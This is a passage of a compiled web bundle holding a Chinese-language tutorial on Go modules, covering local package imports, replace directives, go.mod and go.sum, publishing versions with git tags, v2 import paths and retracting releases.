./holiday\n\u73b0\u5728\u662f\u5047\u671f\u65f6\u95f4...\n\u4f60\u597d\uff0c\u6211\u662f\u4e03\u7c73\u3002\u5f88\u9ad8\u5174\u8ba4\u8bc6\u4f60\u3002\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5f53\u6211\u4eec\u7684\u9879\u76ee\u529f\u80fd\u8d8a\u505a\u8d8a\u591a\uff0c\u4ee3\u7801\u8d8a\u6765\u8d8a\u591a\u7684\u65f6\u5019\uff0c\u901a\u5e38\u4f1a\u9009\u62e9\u5728\u9879\u76ee\u5185\u90e8\u6309\u529f\u80fd\u6216\u4e1a\u52a1\u5212\u5206\u6210\u591a\u4e2a\u4e0d\u540c\u5305\u3002Go\u8bed\u8a00\u652f\u6301\u5728\u4e00\u4e2a\u9879\u76ee\uff08project\uff09\u4e0b\u5b9a\u4e49\u591a\u4e2a\u5305\uff08package\uff09\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u4f8b\u5982\uff0c\u6211\u4eec\u5728",(0,i.jsx)(e.code,{children:"holiday"}),"\u9879\u76ee\u5185\u90e8\u521b\u5efa\u4e00\u4e2a\u65b0\u7684package\u2014\u2014",(0,i.jsx)(e.code,{children:"summer"}),"\uff0c\u6b64\u65f6\u65b0\u7684\u9879\u76ee\u76ee\u5f55\u7ed3\u6784\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"holidy\n\u251c\u2500\u2500 go.mod\n\u251c\u2500\u2500 go.sum\n\u251c\u2500\u2500 main.go\n\u2514\u2500\u2500 summer\n \u2514\u2500\u2500 summer.go\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5176\u4e2d",(0,i.jsx)(e.code,{children:"holiday/summer/summer.go"}),"\u6587\u4ef6\u5185\u5bb9\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package summer\n\nimport "fmt"\n\n// Diving \u6f5c\u6c34...\nfunc Diving() {\n\tfmt.Println("\u590f\u5929\u53bb\u8bd7\u5df4\u4e39\u6f5c\u6c34...")\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u6b64\u65f6\u60f3\u8981\u5728\u5f53\u524d\u9879\u76ee\u76ee\u5f55\u4e0b\u7684\u5176\u4ed6\u5305\u6216\u8005",(0,i.jsx)(e.code,{children:"main.go"}),"\u4e2d\u8c03\u7528\u8fd9\u4e2a",(0,i.jsx)(e.code,{children:"Diving"}),"\u51fd\u6570\u9700\u8981\u5982\u4f55\u5f15\u5165\u5462\uff1f\u8fd9\u91cc\u4ee5\u5728",(0,i.jsx)(e.code,{children:"main.go"}),"\u4e2d\u6f14\u793a\u8be6\u7ec6\u7684\u8c03\u7528\u8fc7\u7a0b\u4e3a\u4f8b\uff0c\u5728\u9879\u76ee\u5185\u5176\u4ed6\u5305\u7684\u5f15\u5165\u65b9\u5f0f\u7c7b\u4f3c\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\n\t"holiday/summer" // \u5bfc\u5165\u5f53\u524d\u9879\u76ee\u4e0b\u7684\u5305\n\n\t"github.com/q1mi/hello" // \u5bfc\u5165github\u4e0a\u7b2c\u4e09\u65b9\u5305\n)\n\nfunc main() {\n\tfmt.Println("\u73b0\u5728\u662f\u5047\u671f\u65f6\u95f4...")\n\thello.SayHi()\n\n\tsummer.Diving()\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u4ece\u4e0a\u9762\u7684\u793a\u4f8b\u53ef\u4ee5\u770b\u51fa\uff0c\u9879\u76ee\u4e2d\u5b9a\u4e49\u7684\u5305\u90fd\u4f1a\u4ee5\u9879\u76ee\u7684\u5bfc\u5165\u8def\u5f84\u4e3a\u524d\u7f00\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u4f60\u60f3\u8981\u5bfc\u5165\u672c\u5730\u7684\u4e00\u4e2a\u5305\uff0c\u5e76\u4e14\u8fd9\u4e2a\u5305\u4e5f\u6ca1\u6709\u53d1\u5e03\u5230\u5230\u5176\u4ed6\u4efb\u4f55\u4ee3\u7801\u4ed3\u5e93\uff0c\u8fd9\u65f6\u5019\u4f60\u53ef\u4ee5\u5728",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u4e2d\u4f7f\u7528",(0,i.jsx)(e.code,{children:"replace"}),"\u8bed\u53e5\u5c06\u4f9d\u8d56\u4e34\u65f6\u66ff\u6362\u4e3a\u672c\u5730\u7684\u4ee3\u7801\u5305\u3002\u4f8b\u5982\u5728\u6211\u7684\u7535\u8111\u4e0a\u6709\u53e6\u5916\u4e00\u4e2a\u540d\u4e3a",(0,i.jsx)(e.code,{children:"liwenzhou.com/overtime"}),"\u7684\u9879\u76ee\uff0c\u5b83\u4f4d\u4e8e",(0,i.jsx)(e.code,{children:"holiday"}),"\u9879\u76ee\u540c\u7ea7\u76ee\u5f55\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"\u251c\u2500\u2500 holiday\n\u2502 \u251c\u2500\u2500 go.mod\n\u2502 \u251c\u2500\u2500 go.sum\n\u2502 \u251c\u2500\u2500 main.go\n\u2502 \u2514\u2500\u2500 summer\n\u2502 \u2514\u2500\u2500 summer.go\n\u2514\u2500\u2500 overtime\n \u251c\u2500\u2500 go.mod\n \u2514\u2500\u2500 overtime.go\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u7531\u4e8e",(0,i.jsx)(e.code,{children:"liwenzhou.com/overtime"}),"\u5305\u53ea\u5b58\u5728\u4e8e\u6211\u672c\u5730\uff0c\u5e76\u4e0d\u80fd\u901a\u8fc7\u7f51\u7edc\u83b7\u53d6\u5230\u8fd9\u4e2a\u4ee3\u7801\u5305\uff0c\u8fd9\u4e2a\u65f6\u5019\u5e94\u8be5\u5982\u4f55\u5728",(0,i.jsx)(e.code,{children:"holidy"}),"\u9879\u76ee\u4e2d\u5f15\u5165\u5b83\u5462\uff1f"]}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u5728",(0,i.jsx)(e.code,{children:"holidy/go.mod"}),"\u6587\u4ef6\u4e2d\u6b63\u5e38\u5f15\u5165",(0,i.jsx)(e.code,{children:"liwenzhou.com/overtime"}),"\u5305\uff0c\u7136\u540e\u50cf\u4e0b\u9762\u7684\u793a\u4f8b\u90a3\u6837\u4f7f\u7528",(0,i.jsx)(e.code,{children:"replace"}),"\u8bed\u53e5\u5c06\u8fd9\u4e2a\u4f9d\u8d56\u66ff\u6362\u4e3a\u4f7f\u7528\u76f8\u5bf9\u8def\u5f84\u8868\u793a\u7684\u672c\u5730\u5305\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"module holiday\n\ngo 1.16\n\nrequire github.com/q1mi/hello v0.1.1\nrequire liwenzhou.com/overtime v0.0.0\n\nreplace liwenzhou.com/overtime => ../overtime\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u6837\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u5728",(0,i.jsx)(e.code,{children:"holiday/main.go"}),"\u4e0b\u6b63\u5e38\u5f15\u5165\u5e76\u4f7f\u7528",(0,i.jsx)(e.code,{children:"overtime"}),"\u5305\u4e86\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\n\t"holiday/summer" // \u5bfc\u5165\u5f53\u524d\u9879\u76ee\u4e0b\u7684\u5305\n\n\t"liwenzhou.com/overtime" // \u901a\u8fc7replace\u5bfc\u5165\u7684\u672c\u5730\u5305\n\n\t"github.com/q1mi/hello" // \u5bfc\u5165github\u4e0a\u7b2c\u4e09\u65b9\u5305\n)\n\nfunc main() {\n\tfmt.Println("\u73b0\u5728\u662f\u5047\u671f\u65f6\u95f4...")\n\thello.SayHi()\n\n\tsummer.Diving()\n\n\tovertime.Do()\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u4e5f\u7ecf\u5e38\u4f7f\u7528",(0,i.jsx)(e.code,{children:"replace"}),"\u5c06\u9879\u76ee\u4f9d\u8d56\u4e2d\u7684\u67d0\u4e2a\u5305\uff0c\u66ff\u6362\u4e3a\u5176\u4ed6\u7248\u672c\u7684\u4ee3\u7801\u5305\u6216\u6211\u4eec\u81ea\u5df1\u4fee\u6539\u540e\u7684\u4ee3\u7801\u5305\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"go.mod\u6587\u4ef6"})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u4e2d\u8bb0\u5f55\u4e86\u5f53\u524d\u9879\u76ee\u4e2d\u6240\u6709\u4f9d\u8d56\u5305\u7684\u76f8\u5173\u4fe1\u606f\uff0c\u58f0\u660e\u4f9d\u8d56\u7684\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"require module/path v1.2.3\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"require\uff1a\u58f0\u660e\u4f9d\u8d56\u7684\u5173\u952e\u5b57"}),"\n",(0,i.jsx)(e.li,{children:"module/path\uff1a\u4f9d\u8d56\u5305\u7684\u5f15\u5165\u8def\u5f84"}),"\n",(0,i.jsxs)(e.li,{children:["v1.2.3\uff1a\u4f9d\u8d56\u5305\u7684\u7248\u672c\u53f7\u3002\u652f\u6301\u4ee5\u4e0b\u51e0\u79cd\u683c\u5f0f\uff1a\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"latest\uff1a\u6700\u65b0\u7248\u672c"}),"\n",(0,i.jsx)(e.li,{children:"v1.0.0\uff1a\u8be6\u7ec6\u7248\u672c\u53f7"}),"\n",(0,i.jsx)(e.li,{children:"commit hash\uff1a\u6307\u5b9a\u67d0\u6b21commit hash"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5f15\u5165\u67d0\u4e9b\u6ca1\u6709\u53d1\u5e03\u8fc7",(0,i.jsx)(e.code,{children:"tag"}),"\u7248\u672c\u6807\u8bc6\u7684\u4f9d\u8d56\u5305\u65f6\uff0c",(0,i.jsx)(e.code,{children:"go.mod"}),"\u4e2d\u8bb0\u5f55\u7684\u4f9d\u8d56\u7248\u672c\u4fe1\u606f\u5c31\u4f1a\u51fa\u73b0\u7c7b\u4f3c",(0,i.jsx)(e.code,{children:"v0.0.0-20210218074646-139b0bcd549d"}),"\u7684\u683c\u5f0f\uff0c\u7531\u7248\u672c\u53f7\u3001commit\u65f6\u95f4\u548ccommit\u7684hash\u503c\u7ec4\u6210\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{alt:"go module\u751f\u6210\u7684\u7248\u672c\u4fe1\u606f\u7ec4\u6210\u793a\u610f\u56fe",src:l(25670).A+"",width:"626",height:"231"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"go.sum\u6587\u4ef6"})}),"\n",(0,i.jsxs)(e.p,{children:["\u4f7f\u7528go module\u4e0b\u8f7d\u4e86\u4f9d\u8d56\u540e\uff0c\u9879\u76ee\u76ee\u5f55\u4e0b\u8fd8\u4f1a\u751f\u6210\u4e00\u4e2a",(0,i.jsx)(e.code,{children:"go.sum"}),"\u6587\u4ef6\uff0c\u8fd9\u4e2a\u6587\u4ef6\u4e2d\u8be6\u7ec6\u8bb0\u5f55\u4e86\u5f53\u524d\u9879\u76ee\u4e2d\u5f15\u5165\u7684\u4f9d\u8d56\u5305\u7684\u4fe1\u606f\u53ca\u5176hash \u503c\u3002",(0,i.jsx)(e.code,{children:"go.sum"}),"\u6587\u4ef6\u5185\u5bb9\u901a\u5e38\u662f\u4ee5\u7c7b\u4f3c\u4e0b\u9762\u7684\u683c\u5f0f\u51fa\u73b0\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:" /go.mod \n"})}),"\n",(0,i.jsx)(e.p,{children:"\u6216\u8005"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:" \n /go.mod \n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0d\u540c\u4e8e\u5176\u4ed6\u8bed\u8a00\u63d0\u4f9b\u7684\u57fa\u4e8e\u4e2d\u5fc3\u7684\u5305\u7ba1\u7406\u673a\u5236\uff0c\u4f8b\u5982 npm \u548c pypi\u7b49\uff0cGo\u5e76\u6ca1\u6709\u63d0\u4f9b\u4e00\u4e2a\u4e2d\u592e\u4ed3\u5e93\u6765\u7ba1\u7406\u6240\u6709\u4f9d\u8d56\u5305\uff0c\u800c\u662f\u91c7\u7528\u5206\u5e03\u5f0f\u7684\u65b9\u5f0f\u6765\u7ba1\u7406\u5305\u3002\u4e3a\u4e86\u9632\u6b62\u4f9d\u8d56\u5305\u88ab\u975e\u6cd5\u7be1\u6539\uff0cGo module \u5f15\u5165\u4e86",(0,i.jsx)(e.code,{children:"go.sum"}),"\u673a\u5236\u6765\u5bf9\u4f9d\u8d56\u5305\u8fdb\u884c\u6821\u9a8c\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u4f9d\u8d56\u4fdd\u5b58\u4f4d\u7f6e"})}),"\n",(0,i.jsxs)(e.p,{children:["Go module \u4f1a\u628a\u4e0b\u8f7d\u5230\u672c\u5730\u7684\u4f9d\u8d56\u5305\u4f1a\u4ee5\u7c7b\u4f3c\u4e0b\u9762\u7684\u5f62\u5f0f\u4fdd\u5b58\u5728 ",(0,i.jsx)(e.code,{children:"$GOPATH/pkg/mod"}),"\u76ee\u5f55\u4e0b\uff0c\u6bcf\u4e2a\u4f9d\u8d56\u5305\u90fd\u4f1a\u5e26\u6709\u7248\u672c\u53f7\u8fdb\u884c\u533a\u5206\uff0c\u8fd9\u6837\u5c31\u5141\u8bb8\u5728\u672c\u5730\u5b58\u5728\u540c\u4e00\u4e2a\u5305\u7684\u591a\u4e2a\u4e0d\u540c\u7248\u672c\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"mod\n\u251c\u2500\u2500 cache\n\u251c\u2500\u2500 cloud.google.com\n\u251c\u2500\u2500 github.com\n \t\u2514\u2500\u2500q1mi\n \u251c\u2500\u2500 hello@v0.0.0-20210218074646-139b0bcd549d\n \u251c\u2500\u2500 hello@v0.1.1\n \u2514\u2500\u2500 hello@v0.1.0\n...\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u60f3\u6e05\u9664\u6240\u6709\u672c\u5730\u5df2\u7f13\u5b58\u7684\u4f9d\u8d56\u5305\u6570\u636e\uff0c\u53ef\u4ee5\u6267\u884c ",(0,i.jsx)(e.code,{children:"go clean -modcache"})," \u547d\u4ee4\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u4f7f\u7528go-module\u53d1\u5e03\u5305",children:"\u4f7f\u7528go module\u53d1\u5e03\u5305"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u4e0a\u9762\u7684\u5c0f\u8282\u4e2d\u6211\u4eec\u5b66\u4e60\u4e86\u5982\u4f55\u5728\u9879\u76ee\u4e2d\u5f15\u5165\u522b\u4eba\u63d0\u4f9b\u7684\u4f9d\u8d56\u5305\uff0c\u90a3\u4e48\u5f53\u6211\u4eec\u60f3\u8981\u5728\u793e\u533a\u53d1\u5e03\u4e00\u4e2a\u81ea\u5df1\u7f16\u5199\u7684\u4ee3\u7801\u5305\u6216\u8005\u5728\u516c\u53f8\u5185\u90e8\u7f16\u5199\u4e00\u4e2a\u4f9b\u5185\u90e8\u4f7f\u7528\u7684\u516c\u7528\u7ec4\u4ef6\u65f6\uff0c\u6211\u4eec\u8be5\u600e\u4e48\u505a\u5462\uff1f\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u5c31\u4e00\u8d77\u7f16\u5199\u4e00\u4e2a\u4ee3\u7801\u5305\u5e76\u5c06\u5b83\u53d1\u5e03\u5230",(0,i.jsx)(e.code,{children:"github.com"}),"\u4ed3\u5e93\uff0c\u8ba9\u5b83\u80fd\u591f\u88ab\u5168\u7403\u7684Go\u8bed\u8a00\u5f00\u53d1\u8005\u4f7f\u7528\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u9996\u5148\u5728\u81ea\u5df1\u7684 github \u8d26\u53f7\u4e0b\u65b0\u5efa\u4e00\u4e2a\u9879\u76ee\uff0c\u5e76\u628a\u5b83\u4e0b\u8f7d\u5230\u672c\u5730\u3002\u6211\u8fd9\u91cc\u5c31\u4ee5\u521b\u5efa\u548c\u53d1\u5e03\u4e00\u4e2a\u540d\u4e3a",(0,i.jsx)(e.code,{children:"hello"}),"\u7684\u9879\u76ee\u4e3a\u4f8b\u8fdb\u884c\u6f14\u793a\u3002\u8fd9\u4e2a",(0,i.jsx)(e.code,{children:"hello"}),"\u5305\u5c06\u5bf9\u5916\u63d0\u4f9b\u4e00\u4e2a\u540d\u4e3a",(0,i.jsx)(e.code,{children:"SayHi"}),"\u7684\u51fd\u6570\uff0c\u5b83\u7684\u4f5c\u7528\u975e\u5e38\u7b80\u5355\u5c31\u662f\u5411\u8c03\u7528\u8005\u53d1\u53bb\u95ee\u5019\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"$ git clone https://github.com/q1mi/hello\n$ cd hello\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6211\u4eec\u5f53\u524d\u4f4d\u4e8e",(0,i.jsx)(e.code,{children:"hello"}),"\u9879\u76ee\u76ee\u5f55\u4e0b\uff0c\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4\u521d\u59cb\u5316\u9879\u76ee\uff0c\u521b\u5efa",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u3002\u9700\u8981\u6ce8\u610f\u7684\u662f\u8fd9\u91cc\u5b9a\u4e49\u9879\u76ee\u7684\u5f15\u5165\u8def\u5f84\u4e3a",(0,i.jsx)(e.code,{children:"github.com/q1mi/hello"}),"\uff0c\u8bfb\u8005\u5728\u81ea\u884c\u6d4b\u8bd5\u65f6\u9700\u8981\u5c06\u8fd9\u90e8\u5206\u66ff\u6362\u4e3a\u81ea\u5df1\u7684\u4ed3\u5e93\u8def\u5f84\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"hello $ go mod init github.com/q1mi/hello\ngo: creating new go.mod: module github.com/q1mi/hello\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\u6211\u4eec\u5728\u8be5\u9879\u76ee\u6839\u76ee\u5f55\u4e0b\u521b\u5efa ",(0,i.jsx)(e.code,{children:"hello.go"})," \u6587\u4ef6\uff0c\u6dfb\u52a0\u4e0b\u9762\u7684\u5185\u5bb9\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package hello\n\nimport "fmt"\n\nfunc SayHi() {\n\tfmt.Println("\u4f60\u597d\uff0c\u6211\u662f\u4e03\u7c73\u3002\u5f88\u9ad8\u5174\u8ba4\u8bc6\u4f60\u3002")\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u7136\u540e\u5c06\u8be5\u9879\u76ee\u7684\u4ee3\u7801 push \u5230\u4ed3\u5e93\u7684\u8fdc\u7aef\u5206\u652f\uff0c\u8fd9\u6837\u5c31\u5bf9\u5916\u53d1\u5e03\u4e86\u4e00\u4e2aGo\u5305\u3002\u5176\u4ed6\u7684\u5f00\u53d1\u8005\u53ef\u4ee5\u901a\u8fc7",(0,i.jsx)(e.code,{children:"github.com/q1mi/hello"}),"\u8fd9\u4e2a\u5f15\u5165\u8def\u5f84\u4e0b\u8f7d\u5e76\u4f7f\u7528\u8fd9\u4e2a\u5305\u4e86\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u4e00\u4e2a\u8bbe\u8ba1\u5b8c\u5584\u7684\u5305\u5e94\u8be5\u5305\u542b\u5f00\u6e90\u8bb8\u53ef\u8bc1\u53ca\u6587\u6863\u7b49\u5185\u5bb9\uff0c\u5e76\u4e14\u6211\u4eec\u8fd8\u5e94\u8be5\u5c3d\u5fc3\u7ef4\u62a4\u5e76\u9002\u65f6\u53d1\u5e03\u9002\u5f53\u7684\u7248\u672c\u3002github \u4e0a\u53d1\u5e03\u7248\u672c\u53f7\u4f7f\u7528git tag\u4e3a\u4ee3\u7801\u5305\u6253\u4e0a\u6807\u7b7e\u5373\u53ef\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'hello $ git tag -a v0.1.0 -m "release version v0.1.0"\nhello $ git push origin v0.1.0\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u7ecf\u8fc7\u4e0a\u9762\u7684\u64cd\u4f5c\u6211\u4eec\u5c31\u53d1\u5e03\u4e86\u4e00\u4e2a\u7248\u672c\u53f7\u4e3a",(0,i.jsx)(e.code,{children:"v0.1.0"}),"\u7684\u7248\u672c\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"Go modules\u4e2d\u5efa\u8bae\u4f7f\u7528\u8bed\u4e49\u5316\u7248\u672c\u63a7\u5236\uff0c\u5176\u5efa\u8bae\u7684\u7248\u672c\u53f7\u683c\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://www.liwenzhou.com/images/Go/package/version_number.png",alt:"\u8bed\u4e49\u5316\u7248\u672c\u53f7\u793a\u610f\u56fe"})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u4e3b\u7248\u672c\u53f7\uff1a\u53d1\u5e03\u4e86\u4e0d\u517c\u5bb9\u7684\u7248\u672c\u8fed\u4ee3\u65f6\u9012\u589e\uff08breaking changes\uff09\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u6b21\u7248\u672c\u53f7\uff1a\u53d1\u5e03\u4e86\u529f\u80fd\u6027\u66f4\u65b0\u65f6\u9012\u589e\u3002"}),"\n",(0,i.jsx)(e.li,{children:"\u4fee\u8ba2\u53f7\uff1a\u53d1\u5e03\u4e86bug\u4fee\u590d\u7c7b\u66f4\u65b0\u65f6\u9012\u589e\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u53d1\u5e03\u65b0\u7684\u4e3b\u7248\u672c"})}),"\n",(0,i.jsxs)(e.p,{children:["\u73b0\u5728\u6211\u4eec\u7684",(0,i.jsx)(e.code,{children:"hello"}),"\u9879\u76ee\u8981\u8fdb\u884c\u4e0e\u4e4b\u524d\u7248\u672c\u4e0d\u517c\u5bb9\u7684\u66f4\u65b0\uff0c\u6211\u4eec\u8ba1\u5212\u8ba9",(0,i.jsx)(e.code,{children:"SayHi"}),"\u51fd\u6570\u652f\u6301\u5411\u6307\u5b9a\u4eba\u53d1\u51fa\u95ee\u5019\u3002\u66f4\u65b0\u540e\u7684",(0,i.jsx)(e.code,{children:"SayHi"}),"\u51fd\u6570\u5185\u5bb9\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package hello\n\nimport "fmt"\n\n// SayHi \u5411\u6307\u5b9a\u4eba\u6253\u62db\u547c\u7684\u51fd\u6570\nfunc SayHi(name string) {\n\tfmt.Printf("\u4f60\u597d%s\uff0c\u6211\u662f\u4e03\u7c73\u3002\u5f88\u9ad8\u5174\u8ba4\u8bc6\u4f60\u3002\\n", name)\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u7531\u4e8e\u8fd9\u6b21\u6539\u52a8\u5de8\u5927\uff08\u4fee\u6539\u4e86\u51fd\u6570\u4e4b\u524d\u7684\u8c03\u7528\u89c4\u5219\uff09\uff0c\u5bf9\u4e4b\u524d\u4f7f\u7528\u8be5\u5305\u4f5c\u4e3a\u4f9d\u8d56\u7684\u7528\u6237\u5f71\u54cd\u5de8\u5927\u3002\u56e0\u6b64\u6211\u4eec\u9700\u8981\u53d1\u5e03\u4e00\u4e2a\u4e3b\u7248\u672c\u53f7\u9012\u589e\u7684",(0,i.jsx)(e.code,{children:"v2"}),"\u7248\u672c\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u901a\u5e38\u4f1a\u4fee\u6539\u5f53\u524d\u5305\u7684\u5f15\u5165\u8def\u5f84\uff0c\u50cf\u4e0b\u9762\u7684\u793a\u4f8b\u4e00\u6837\u4e3a\u5f15\u5165\u8def\u5f84\u6dfb\u52a0\u7248\u672c\u540e\u7f00\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"// hello/go.mod\n\nmodule github.com/q1mi/hello/v2\n\ngo 1.16\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u628a\u4fee\u6539\u540e\u7684\u4ee3\u7801\u63d0\u4ea4\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'hello $ git add .\nhello $ git commit -m "feat: SayHi\u73b0\u5728\u652f\u6301\u7ed9\u6307\u5b9a\u4eba\u6253\u62db\u547c\u5566"\nhello $ git push\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u6253\u597d tag \u63a8\u9001\u5230\u8fdc\u7a0b\u4ed3\u5e93\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'hello $ git tag -a v2.0.0 -m "release version v2.0.0"\nhello $ git push origin v2.0.0\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u6837\u5728\u4e0d\u5f71\u54cd\u4f7f\u7528\u65e7\u7248\u672c\u7684\u7528\u6237\u7684\u524d\u63d0\u4e0b\uff0c\u6211\u4eec\u65b0\u7684\u7248\u672c\u4e5f\u53d1\u5e03\u51fa\u53bb\u4e86\u3002\u60f3\u8981\u4f7f\u7528",(0,i.jsx)(e.code,{children:"v2"}),"\u7248\u672c\u7684\u4ee3\u7801\u5305\u7684\u7528\u6237\u53ea\u9700\u6309\u4fee\u6539\u540e\u7684\u5f15\u5165\u8def\u5f84\u4e0b\u8f7d\u5373\u53ef\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"go get github.com/q1mi/hello/v2@v2.0.0\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u4ee3\u7801\u4e2d\u4f7f\u7528\u7684\u8fc7\u7a0b\u4e0e\u4e4b\u524d\u7c7b\u4f3c\uff0c\u53ea\u662f\u9700\u8981\u6ce8\u610f\u5f15\u5165\u8def\u5f84\u8981\u6dfb\u52a0 v2 \u7248\u672c\u540e\u7f00\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\n\t"github.com/q1mi/hello/v2" // \u5f15\u5165v2\u7248\u672c\n)\n\nfunc main() {\n\tfmt.Println("\u73b0\u5728\u662f\u5047\u671f\u65f6\u95f4...")\n\n\thello.SayHi("\u5f20\u4e09") // v2\u7248\u672c\u7684SayHi\u51fd\u6570\u9700\u8981\u4f20\u5165\u5b57\u7b26\u4e32\u53c2\u6570\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u5e9f\u5f03\u5df2\u53d1\u5e03\u7248\u672c"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u67d0\u4e2a\u53d1\u5e03\u7684\u7248\u672c\u5b58\u5728\u81f4\u547d\u7f3a\u9677\u4e0d\u518d\u60f3\u8ba9\u7528\u6237\u4f7f\u7528\u65f6\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528",(0,i.jsx)(e.code,{children:"retract"}),"\u58f0\u660e\u5e9f\u5f03\u7684\u7248\u672c\u3002\u4f8b\u5982\u6211\u4eec\u5728",(0,i.jsx)(e.code,{children:"hello/go.mod"}),"\u6587\u4ef6\u4e2d\u6309\u5982\u4e0b\u65b9\u5f0f\u58f0\u660e\u5373\u53ef\u5bf9\u5916\u5e9f\u5f03",(0,i.jsx)(e.code,{children:"v0.1.2"}),"\u7248\u672c\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"module github.com/q1mi/hello\n\ngo 1.16\n\n\nretract v0.1.2\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u7528\u6237\u4f7f\u7528go get\u4e0b\u8f7d",(0,i.jsx)(e.code,{children:"v0.1.2"}),"\u7248\u672c\u65f6\u5c31\u4f1a\u6536\u5230\u63d0\u793a\uff0c\u50ac\u4fc3\u5176\u5347\u7ea7\u5230\u5176\u4ed6\u7248\u672c\u3002"]})]})}function t(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(a,{...n})}):a(n)}}}]); \ No newline at end of file diff --git 